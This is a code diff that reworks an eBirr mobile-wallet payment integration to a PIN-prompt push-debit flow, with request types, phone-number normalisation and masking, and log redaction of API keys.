this.merchantCode, - orderNo: input.merchantOrderId, - amount, - timestamp, - }), - }; - - const response = await this.postJson( - `${this.baseUrl}/gateway/api/pay/create`, - requestBody, + this.logger.log( + `eBirr initiate ref=${input.merchantOrderId} account=${maskMsisdn(accountNo)} ` + + `currency=${input.currency} amount=${this.toAmount(input.amountMinor)} ` + + `(amountMinorIn=${input.amountMinor})`, ); - if (response.code !== "0000" || !response.data?.orderNo) { - throw new Error(`eBirr initiate failed: ${response.message}`); - } - - const expiresAt = new Date(response.data.expireTime); - return { - providerOrderId: response.data.orderNo, - clientAction: { type: "REDIRECT", url: response.data.payUrl }, - expiresAt, + providerOrderId: input.merchantOrderId, + clientAction: { + type: "AWAIT_PUSH", + message: + "Check your phone and enter your eBirr PIN to approve the payment.", + payerAccountMasked: maskMsisdn(accountNo), + }, + expiresAt: new Date(Date.now() + this.pushTtlMs), rawInitiation: { - request: this.sanitize(requestBody), - response, + request: this.sanitizeRequest( + this.buildPurchaseRequest(input, accountNo), + ), }, }; } - async queryStatus(merchantOrderId: string): Promise { - const timestamp = Date.now(); - const requestBody = { - merchantCode: this.merchantCode, - orderNo: merchantOrderId, - timestamp, - sign: this.signRequest({ - merchantCode: this.merchantCode, - orderNo: merchantOrderId, - timestamp, - }), - }; + /** + * Issue the debit. Blocks for as long as the payer takes to enter their PIN, so it must be + * called off the request path. + * + * Never throws: a transport failure or timeout is reported as PROCESSING, not FAILED. The money + * may well have moved, and the vendor doc §10 is explicit that a timeout must be resolved by + * querying, not by assuming failure and re-charging. + */ + async purchase(input: ProviderInitiationInput): Promise { + const accountNo = normalizeEthiopianMsisdn(input.payerAccount ?? ""); + const requestBody = this.buildPurchaseRequest(input, accountNo); + const url = `${this.baseUrl}/asm`; - const response = await this.postJson( - `${this.baseUrl}/gateway/api/pay/query`, - requestBody, + this.logger.log( + `eBirr API_PURCHASE → ${url} ref=${input.merchantOrderId} ` + + `account=${maskMsisdn(accountNo)} amount=${requestBody.serviceParams.transactionInfo.amount} ` + + `${input.currency} (awaiting payer PIN, up to ${this.purchaseTimeoutMs}ms)`, ); - if (response.code !== "0000" || !response.data) { - throw new Error(`eBirr query failed: ${response.message}`); + let response: EbirrPurchaseResponse; + try { + response = await this.postJson( + url, + requestBody, + this.purchaseTimeoutMs, + ); + } catch (err) { + const message = err instanceof Error ? err.message : String(err); + const code = (err as { code?: string })?.code; + + // Never sent: no debit exists, so there is nothing to reconcile and no reason to make the + // payer wait. Fail it now with a cause they can act on. + if (this.isUndispatched(err)) { + this.logger.error( + `eBirr API_PURCHASE ${input.merchantOrderId} was never dispatched (${code ?? "n/a"}: ` + + `${message}) — no debit exists, failing the intent instead of awaiting reconciliation`, + ); + return { + status: ProviderPaymentStatus.FAILED, + failureCode: code ?? "EBIRR_UNREACHABLE", + failureMessage: + "Could not reach eBirr — no payment was taken. Please try again.", + rawResponse: { error: message, code, dispatched: false }, + }; + } + + // Sent but unanswered: unresolved, NOT failed. The sweep settles it via API_GETTRANINFO. + this.logger.warn( + `eBirr API_PURCHASE ${input.merchantOrderId} did not return a verdict ` + + `(${message}) — leaving PROCESSING for reconciliation`, + ); + return { + status: ProviderPaymentStatus.PROCESSING, + rawResponse: { error: message, code, dispatched: true }, + }; } - const mapped = this.mapStatus(response.data.tradeStatus); + const rawResponse = response as unknown as Record; + const state = response.params?.state; + const mapped = this.resolveVerdict(response.responseCode, state); + + if (mapped === ProviderPaymentStatus.FAILED) { + this.logger.error( + `eBirr API_PURCHASE ${input.merchantOrderId} rejected: ` + + `${response.responseCode}/${response.errorCode} ${response.responseMsg} ` + + `state=${state ?? "n/a"} (txn=${response.params?.transactionId ?? "n/a"})`, + ); + } else { + this.logger.log( + `eBirr API_PURCHASE ${input.merchantOrderId} state=${state ?? "n/a"} → ${mapped} ` + + `(txn=${response.params?.transactionId ?? "n/a"}, order=${response.params?.orderId ?? "n/a"})`, + ); + } return { status: mapped, - providerTxnId: response.data.tradeNo, + // Present on rejected responses too (eBirr records the failed attempt), so this is + // captured regardless of verdict — it is what reconciliation quotes back to eBirr. + providerTxnId: response.params?.transactionId, failureCode: mapped === ProviderPaymentStatus.FAILED - ? response.data.tradeStatus + ? response.errorCode || response.responseCode : undefined, + failureMessage: + mapped === ProviderPaymentStatus.FAILED + ? // `params.description` is the specific cause ("Invalid Credentials"); responseMsg is + // the generic wrapper ("Payment Failed (Invalid Credentials)"). + (response.params?.description ?? response.responseMsg) + : undefined, + rawResponse, + }; + } + + /** + * Did this error happen *before* the request was written to the wire? + * + * Only errors we can prove were never dispatched may be reported as FAILED — everything else + * has to stay PROCESSING, because a request eBirr received may have moved money. + */ + private isUndispatched(err: unknown): boolean { + // An HTTP response came back — whatever its status, eBirr received the request. + if (err instanceof AxiosError && err.response) return false; + + const code = (err as { code?: string })?.code; + const message = err instanceof Error ? err.message : String(err); + + // ETIMEDOUT is ambiguous and has to be read from the message. Node reports a TCP connect + // timeout as `connect ETIMEDOUT :` — nothing was sent. Axios reports its own *read* + // timeout with the same code when `clarifyTimeoutError` is set, but phrases it + // "timeout of Nms exceeded" — that one was sent and is still in flight. + if (code === "ETIMEDOUT") return message.startsWith("connect "); + + return !!code && EBIRR_UNDISPATCHED_CODES.has(code); + } + + /** + * Decide the outcome from an eBirr response. + * + * Observed against the live sandbox: a *rejected* envelope still carries the authoritative + * verdict in `params.state` — e.g. `5206/E10205` with `state: DECLINED`, and `5001/4004` + * ("User Aborted") with `state: TIMEOUT`. So `state` wins whenever it is present; the envelope + * code is only the fallback for responses that carry no `params` at all. + * + * The one thing `state` may never do is promote a rejected envelope to SUCCEEDED — success + * requires both a 2001 envelope and an approving state. + */ + private resolveVerdict( + responseCode: string, + state: string | undefined, + ): ProviderPaymentStatus { + const envelopeOk = responseCode === EBIRR_SUCCESS_CODE; + if (!state) { + return envelopeOk + ? ProviderPaymentStatus.PROCESSING + : ProviderPaymentStatus.FAILED; + } + const mapped = this.mapStatus(state); + if (mapped === ProviderPaymentStatus.SUCCEEDED && !envelopeOk) { + return ProviderPaymentStatus.FAILED; + } + return mapped; + } + + async queryStatus(merchantOrderId: string): Promise { + const response = await this.postJson( + `${this.baseUrl}/asm`, + this.buildGetTranInfoRequest(merchantOrderId), + EBIRR_QUERY_TIMEOUT_MS, + ); + + const rawState = + response.params?.status ?? + response.params?.state ?? + response.params?.tranStatusDesc; + + // A rejected envelope that still carries a state is a real verdict — the purchase endpoint + // demonstrably does this (5206/DECLINED, 5001/TIMEOUT), so don't assume the query endpoint + // won't. Trust the state; only fall back to the envelope when there is none. + if (rawState) { + const mapped = this.resolveVerdict(response.responseCode, rawState); + this.logger.log( + `eBirr API_GETTRANINFO ${merchantOrderId} state=${rawState} → ${mapped} ` + + `(txn=${response.params?.transactionId ?? "n/a"}, order=${response.params?.orderId ?? "n/a"})`, + ); + return { + status: mapped, + providerTxnId: response.params?.transactionId, + failureCode: + mapped === ProviderPaymentStatus.FAILED + ? response.errorCode || rawState + : undefined, + failureMessage: + mapped === ProviderPaymentStatus.FAILED + ? (response.params?.description ?? response.responseMsg) + : undefined, + rawResponse: response as unknown as Record, + }; + } + + // No state at all. Same convention as waafi/cac-bank: eBirr returns a bare error envelope + // for a transaction it has no record of, which means the payer hasn't answered the prompt + // yet — that is REQUIRES_ACTION (still waiting on the handset), NOT PROCESSING. Persisting a + // PROCESSING guess would let the sweep strand a payer on a push they never touched. The + // intent still resolves: via purchase()'s verdict, or via expiresAt. + if (response.responseCode !== EBIRR_SUCCESS_CODE) { + this.logger.warn( + `eBirr API_GETTRANINFO ${merchantOrderId}: ${response.responseCode}/${response.errorCode} ` + + `${response.responseMsg} — no state returned, treating as still awaiting the payer`, + ); + return { + status: ProviderPaymentStatus.REQUIRES_ACTION, + rawResponse: response as unknown as Record, + }; + } + + return { + status: ProviderPaymentStatus.PROCESSING, + providerTxnId: response.params?.transactionId, rawResponse: response as unknown as Record, }; } - verifyWebhookSignature(payload: Record): boolean { - const { sign, ...data } = payload; - if (!sign || typeof sign !== "string") return false; - - const expectedSign = this.signRequest(data); - return crypto.timingSafeEqual(Buffer.from(sign), Buffer.from(expectedSign)); - } - - mapWebhookStatus(tradeStatus: string): ProviderPaymentStatus { - return this.mapStatus(tradeStatus); - } - - private mapStatus(tradeStatus: string): ProviderPaymentStatus { - switch (tradeStatus?.toUpperCase()) { - case "TRADE_SUCCESS": + private mapStatus(raw: string | undefined): ProviderPaymentStatus { + switch (raw?.toUpperCase()) { + case "APPROVED": case "SUCCESS": return ProviderPaymentStatus.SUCCEEDED; - case "TRADE_CLOSED": - case "TRADE_FAILED": + case "CANCELED": + case "CANCELLED": + return ProviderPaymentStatus.CANCELLED; + case "DECLINED": + case "REJECTED": case "FAILED": + case "EXPIRED": + case "TIMEOUT": return ProviderPaymentStatus.FAILED; - case "WAIT_BUYER_PAY": case "PENDING": + case "INITIATED": return ProviderPaymentStatus.REQUIRES_ACTION; - case "PROCESSING": - return ProviderPaymentStatus.PROCESSING; default: return ProviderPaymentStatus.PROCESSING; } } - private signRequest(data: Record): string { - const sortedKeys = Object.keys(data).sort(); - const signString = - sortedKeys.map((key) => `${key}=${data[key]}`).join("&") + - `&key=${this.secretKey}`; - - return crypto - .createHash("md5") - .update(signString) - .digest("hex") - .toUpperCase(); + private buildPurchaseRequest( + input: ProviderInitiationInput, + accountNo: string, + ): EbirrPurchaseRequest { + return { + schemaVersion: "1.0", + requestId: crypto.randomUUID(), + timestamp: this.timestamp(), + channelName: this.channelName, + serviceName: "API_PURCHASE", + serviceParams: { + merchantUid: this.merchantUid, + apiKey: this.apiKey, + apiUserId: this.apiUserId, + paymentMethod: this.paymentMethod, + payerInfo: { accountNo }, + transactionInfo: { + referenceId: input.merchantOrderId, + invoiceId: input.orderRef, + amount: this.toAmount(input.amountMinor), + // Charge exactly the currency the caller already converted to. The provider never + // relabels the currency. + currency: input.currency, + description: `${input.orderRef}`, + }, + }, + }; } - private async postJson(url: string, body: unknown): Promise { - const config: AxiosRequestConfig = { - headers: { - "Content-Type": "application/json", + private buildGetTranInfoRequest( + merchantOrderId: string, + ): EbirrGetTranInfoRequest { + return { + schemaVersion: "1.0", + requestId: crypto.randomUUID(), + timestamp: this.timestamp(), + channelName: this.channelName, + serviceName: "API_GETTRANINFO", + serviceParams: { + merchantUid: this.merchantUid, + apiKey: this.apiKey, + apiUserId: this.apiUserId, + referenceId: merchantOrderId, }, - timeout: 10_000, }; + } + + /** + * `amountMinor` is a misnomer inherited from the shared contract — it carries the *major* + * amount (see PaymentIntent.amountMinor: "real/major price; may be fractional"). Pass it + * through at 2dp. Never divide by 100 (the pre-rewrite code did, charging 1/100th), and don't + * borrow Waafi's `Math.trunc` — that is only correct for 0-decimal DJF and would drop ETB cents. + */ + private toAmount(amountMinor: number): number { + return Number(amountMinor.toFixed(2)); + } + + /** eBirr expects `YYYY-MM-DD HH:mm:ss` — not the epoch seconds Waafi's `/asm` accepts. */ + private timestamp(): string { + const d = new Date(); + const pad = (n: number): string => String(n).padStart(2, "0"); + return ( + `${d.getFullYear()}-${pad(d.getMonth() + 1)}-${pad(d.getDate())} ` + + `${pad(d.getHours())}:${pad(d.getMinutes())}:${pad(d.getSeconds())}` + ); + } + + /** + * Single funnel for every `/asm` call, so the full wire request and the full wire response are + * both logged for `API_PURCHASE` and `API_GETTRANINFO` alike — at `log`, not `debug`, because + * eBirr has no webhook and no dashboard we can see: when a payer disputes a debit these lines + * are the only record of what we sent and what came back. Bodies pass through `sanitize*` so the + * api key and the payer's full MSISDN never reach the log sink. + */ + private async postJson( + url: string, + body: unknown, + timeout: number, + ): Promise { + const config: AxiosRequestConfig = { + headers: { "Content-Type": "application/json" }, + timeout, + httpsAgent: this.httpsAgent, + }; + + const envelope = body as { serviceName?: string; requestId?: string }; + const tag = `${envelope.serviceName ?? "UNKNOWN"} requestId=${envelope.requestId ?? "n/a"}`; + + this.logger.log( + `eBirr → POST ${url} ${tag} request=${JSON.stringify(this.sanitizeRequest(body))}`, + ); const started = Date.now(); try { const res = await firstValueFrom(this.http.post(url, body, config)); - this.logger.debug( - `eBirr POST ${url} status=${res.status} latency=${Date.now() - started}ms`, + this.logger.log( + `eBirr ← ${tag} status=${res.status} latency=${Date.now() - started}ms ` + + `response=${JSON.stringify(this.sanitizeResponse(res.data))}`, ); return res.data; } catch (err) { + const latency = Date.now() - started; if (err instanceof AxiosError) { this.logger.error( - `eBirr POST ${url} failed: status=${err.response?.status} body=${JSON.stringify(err.response?.data)}`, + `eBirr ← ${tag} failed after ${latency}ms: status=${err.response?.status} ` + + `response=${JSON.stringify(this.sanitizeResponse(err.response?.data))} ` + + `code=${err.code} message=${err.message}`, ); } else { this.logger.error( - `eBirr POST ${url} threw: ${err instanceof Error ? err.message : err}`, + `eBirr ← ${tag} threw after ${latency}ms: ${err instanceof Error ? err.message : err}`, ); } throw err; } } - private sanitize(body: EBirrInitiateRequest): Record { - const { sign: _sign, ...rest } = body; - return rest; + /** + * Redact the api key and mask the payer MSISDN in an outbound envelope. Covers both service + * shapes: `API_PURCHASE` carries `payerInfo.accountNo`, `API_GETTRANINFO` carries neither. + */ + private sanitizeRequest(body: unknown): Record { + const envelope = body as EbirrPurchaseRequest; + const params = envelope?.serviceParams as + | (EbirrPurchaseRequest["serviceParams"] & Record) + | undefined; + if (!params) return body as Record; + + return { + ...envelope, + serviceParams: { + ...params, + apiKey: "***REDACTED***", + ...(params.payerInfo + ? { payerInfo: { accountNo: maskMsisdn(params.payerInfo.accountNo) } } + : {}), + }, + }; + } + + /** + * Responses carry no secret, but `params.accountNo` / `params.payerId` echo the payer's wallet + * number back — mask those the same way the request side does. + */ + private sanitizeResponse(data: unknown): unknown { + if (!data || typeof data !== "object") return data; + + const response = data as { params?: Record }; + if (!response.params) return data; + + const params = { ...response.params }; + for (const key of ["accountNo", "payerId"]) { + const value = params[key]; + if (typeof value === "string" && value) params[key] = maskMsisdn(value); + } + return { ...response, params }; } private get baseUrl(): string { return this.config.get("ebirr.baseUrl") ?? ""; } - private get merchantCode(): string { - return this.config.get("ebirr.merchantCode") ?? ""; + private get merchantUid(): string { + return this.config.get("ebirr.merchantUid") ?? ""; } - private get secretKey(): string { - return this.config.get("ebirr.secretKey") ?? ""; + private get apiKey(): string { + return this.config.get("ebirr.apiKey") ?? ""; } - private get notifyUrl(): string { - return this.config.get("ebirr.notifyUrl") ?? ""; + private get apiUserId(): string { + return this.config.get("ebirr.apiUserId") ?? ""; } - private get returnUrl(): string { - return this.config.get("ebirr.returnUrl") ?? ""; + private get paymentMethod(): string { + return this.config.get("ebirr.paymentMethod") ?? "MWALLET_ACCOUNT"; + } + private get channelName(): string { + return this.config.get("ebirr.channelName") ?? "WEB"; + } + /** + * How long `purchase()` waits for the payer's PIN. This is awaited on the request path (see + * IntentsService.settleEBirrPurchase), so it MUST stay below the passenger API's + * PAYMENT_API_HTTP_TIMEOUT_MS (60s) and any proxy read timeout in front of it. + */ + private get purchaseTimeoutMs(): number { + return this.config.get("ebirr.purchaseTimeoutMs") ?? 45_000; + } + private get pushTtlMs(): number { + return this.config.get("ebirr.pushTtlMs") ?? 180_000; } } diff --git a/packages/payment-providers/src/providers/ebirr/ebirr.types.ts b/packages/payment-providers/src/providers/ebirr/ebirr.types.ts new file mode 100644 index 000000000..b62538d99 --- /dev/null +++ b/packages/payment-providers/src/providers/ebirr/ebirr.types.ts @@ -0,0 +1,143 @@ +/** + * EbirrPay (API Payment) request/response types — docs/ebirr/EbirrPay for API PAYMENT.md. + * + * EbirrPay is the same ASM platform as WaafiPay: every operation is multiplexed through a single + * `POST /asm`, discriminated by `serviceName`, with the identical envelope and the identical + * `responseCode === '2001'` convention. See `../waafi/waafi.types.ts`. + * + * We use the API family (`API_PURCHASE`, `API_GETTRANINFO`), which is a *direct wallet debit*: + * the purchase call pushes a PIN prompt to the payer's handset over USSD and blocks until they + * approve it. There is no hosted page, no redirect and no webhook — the vendor doc's §5 "Redirects + * the customer to a secure Hosted Payment Page" and §8.3 "EbirrPay returns APIUrl and orderId" are + * stale copy-paste from the HPP family, contradicted by §5.3's own response body. See + * docs/ebirr/INTEGRATION.md. + */ + +/** Terminal/intermediate states reported by EbirrPay (`params.state` / `params.status`). */ +export type EbirrState = + | 'APPROVED' + | 'DECLINED' + | 'FAILED' + | 'CANCELLED' + | 'EXPIRED' + | 'TIMEOUT' + | string; + +/** Common request envelope shared by every `/asm` call (§3). */ +export interface EbirrRequestEnvelope { + schemaVersion: '1.0'; + requestId: string; + timestamp: string; + channelName: string; + serviceName: string; + serviceParams: TServiceParams; +} + +/** Common response envelope. `responseCode === '2001'` means the request was processed. */ +export interface EbirrResponseEnvelope { + schemaVersion: string; + timestamp: string; + responseId: string; + responseCode: string; + errorCode: string; + responseMsg: string; + params?: TParams; +} + +// --- API_PURCHASE ----------------------------------------------------------------------------- + +export interface EbirrPurchaseServiceParams { + merchantUid: string; + /** Merchant API key (§4). The vendor doc also calls this `APIKey` in §6.2/§7.2 — same field. */ + apiKey: string; + /** Doc §5.2 types this as a Number, but the live API accepts the string form. */ + apiUserId: string; + paymentMethod: string; + /** + * The payer's wallet. Doc §5.2 names this `subscriptionId`, but the field the live sandbox + * actually accepts is `accountNo` — verified by hand against testpayments.ebirr.com. + */ + payerInfo: { + accountNo: string; + }; + transactionInfo: { + referenceId: string; + /** Not listed in §5.2 but accepted by the live API and echoed back by API_GETTRANINFO (§7.3). */ + invoiceId?: string; + amount: number; + currency: string; + description?: string; + }; +} + +export type EbirrPurchaseRequest = EbirrRequestEnvelope; + +/** + * §5.3 plus the fields the live sandbox actually returns. + * + * `state` is the authoritative outcome. Critically, it is present on **rejected** envelopes too, + * so it must be read regardless of `responseCode` — observed live: + * + * 2001 / errorCode 0 → state APPROVED + * 5206 / errorCode E10205 → state DECLINED, description "Invalid Credentials" + * 5001 / errorCode 4004 → state TIMEOUT, description "User Aborted" + * + * `transactionId` and `orderId` are issued even for failed attempts. + */ +export interface EbirrPurchaseParams { + accountNo?: string; + accountType?: string; + state?: EbirrState; + merchantCharges?: string; + referenceId?: string; + transactionId?: string; + /** EbirrPay's own order id (doc §11 "EbirrPay order tracking"). Not in §5.3's example. */ + orderId?: string; + issuerTransactionId?: string; + txAmount?: string; + /** Specific failure cause, e.g. "Invalid Credentials" / "User Aborted". Not in §5.3. */ + description?: string; +} + +export type EbirrPurchaseResponse = EbirrResponseEnvelope; + +// --- API_GETTRANINFO -------------------------------------------------------------------------- + +export interface EbirrGetTranInfoServiceParams { + merchantUid: string; + apiKey: string; + apiUserId: string; + /** Either the merchant referenceId or the EbirrPay transactionId may be supplied. */ + referenceId?: string; + transactionId?: string; +} + +export type EbirrGetTranInfoRequest = EbirrRequestEnvelope; + +/** + * §7.3 — field-for-field the same set as `WaafiGetTranInfoParams`. + * + * The doc renders the first key as `tranStatETBesc`, which is `tranStat` + `usD` + `esc`: the + * vendor ran a global USD→ETB replace over the Waafi doc and corrupted `tranStatusDesc`. The real + * field is `tranStatusDesc`. + */ +export interface EbirrGetTranInfoParams { + tranStatusDesc?: string; + amount?: string; + payerId?: string; + paymentMethod?: string; + description?: string; + tranDate?: string; + currency?: string; + invoiceId?: string; + referenceId?: string; + tranAmount?: string; + transactionId?: string; + orderId?: string; + tranStatusId?: string; + status?: EbirrState; + /** Purchase responses use `state`; assume the query endpoint may too rather than betting on it. */ + state?: EbirrState; +} + +export type EbirrGetTranInfoResponse = EbirrResponseEnvelope; diff --git a/packages/payment-providers/src/utils/msisdn.ts b/packages/payment-providers/src/utils/msisdn.ts new file mode 100644 index 000000000..cb36d53dd --- /dev/null +++ b/packages/payment-providers/src/utils/msisdn.ts @@ -0,0 +1,53 @@ +/** + * Ethiopian MSISDN normalisation. + * + * Passenger phone numbers are stored inconsistently — `+2519…`, `2519…` and local `09…` all + * appear (see the variant-building comment in the passenger API's bookings.service). Ethiopian + * mobile wallets want the bare international form with no `+` and no leading zero, e.g. + * `251923582676`. + * + * This is deliberately separate from `normalizeCacMobile` (cac-bank.json.ts), which does the + * opposite for Djibouti — it *strips* the 253 country code to a national number. + */ + +/** Ethiopian mobile subscriber numbers are 9 digits and always start with 9 (or 7 for Safaricom). */ +const ET_NATIONAL_LENGTH = 9; +const ET_COUNTRY_CODE = '251'; + +/** + * Convert any accepted Ethiopian phone format to the bare `251XXXXXXXXX` form. + * + * Accepts `+251923582676`, `251923582676`, `0923582676` and `923582676`, plus spaces, dashes and + * parentheses anywhere. Throws on anything that isn't a plausible Ethiopian mobile number rather + * than silently sending a wrong account — a mistyped number would push a PIN prompt to a + * stranger's handset. + */ +export function normalizeEthiopianMsisdn(input: string): string { + const digits = (input ?? '').replace(/[\s()+-]/g, ''); + if (!/^\d+$/.test(digits)) { + throw new Error(`Invalid Ethiopian mobile number: ${input}`); + } + + let national: string; + if (digits.startsWith('00' + ET_COUNTRY_CODE)) { + national = digits.slice(2 + ET_COUNTRY_CODE.length); + } else if (digits.startsWith(ET_COUNTRY_CODE)) { + national = digits.slice(ET_COUNTRY_CODE.length); + } else if (digits.startsWith('0')) { + national = digits.slice(1); + } else { + national = digits; + } + + if (national.length !== ET_NATIONAL_LENGTH || !/^[79]/.test(national)) { + throw new Error(`Invalid Ethiopian mobile number: ${input}`); + } + + return `${ET_COUNTRY_CODE}${national}`; +} + +/** Mask an MSISDN for display/logging: `251923582676` → `2519****2676`. */ +export function maskMsisdn(msisdn: string): string { + if (msisdn.length <= 8) return '****'; + return `${msisdn.slice(0, 4)}****${msisdn.slice(-4)}`; +} diff --git a/packages/payment-providers/src/webhooks/ebirr-webhook.types.ts b/packages/payment-providers/src/webhooks/ebirr-webhook.types.ts deleted file mode 100644 index 38516bf29..000000000 --- a/packages/payment-providers/src/webhooks/ebirr-webhook.types.ts +++ /dev/null @@ -1,12 +0,0 @@ -export interface EBirrWebhookPayload { - merchantCode: string; - orderNo: string; - tradeStatus: string; - tradeNo?: string; - totalAmount?: number; - currency?: string; - payTime?: number; - timestamp: number; - sign: string; - [key: string]: unknown; -} diff --git a/packages/types/src/common/payments.ts b/packages/types/src/common/payments.ts index 05be21682..430170548 100644 --- a/packages/types/src/common/payments.ts +++ b/packages/types/src/common/payments.ts @@ -58,6 +58,17 @@ export type ClientAction = providerOrderId: string; message?: string; } + | { + /** + * Wallet push-debit (eBirr): the provider has already prompted the payer on their own + * handset (USSD/app PIN). There is nothing to navigate to and nothing to collect — + * the client shows `message` and polls the intent until it turns terminal. + */ + type: "AWAIT_PUSH"; + message: string; + /** Masked MSISDN the prompt was pushed to, so the payer can confirm it's their phone. */ + payerAccountMasked?: string; + } | { /** CBE_BILL: show the bill reference the customer pays at any CBE channel. */ type: "SHOW_BILL_REFERENCE"; @@ -77,6 +88,8 @@ export interface ProviderInitiationInput { * Payer account identifier (e.g. mobile-wallet MSISDN in full international format). * Optional and provider-specific: some wallet providers (e.g. Waafi HPP with * MWALLET_ACCOUNT) require the payer's phone number up front to pre-fill the hosted page. + * For push-debit providers (eBirr, CAC Bank) it is mandatory — it is the account the PIN + * prompt is pushed to, so there is no hosted page that could collect it later. */ payerAccount?: string; /** Optional caller-supplied redirect targets for redirect/HPP-style providers. */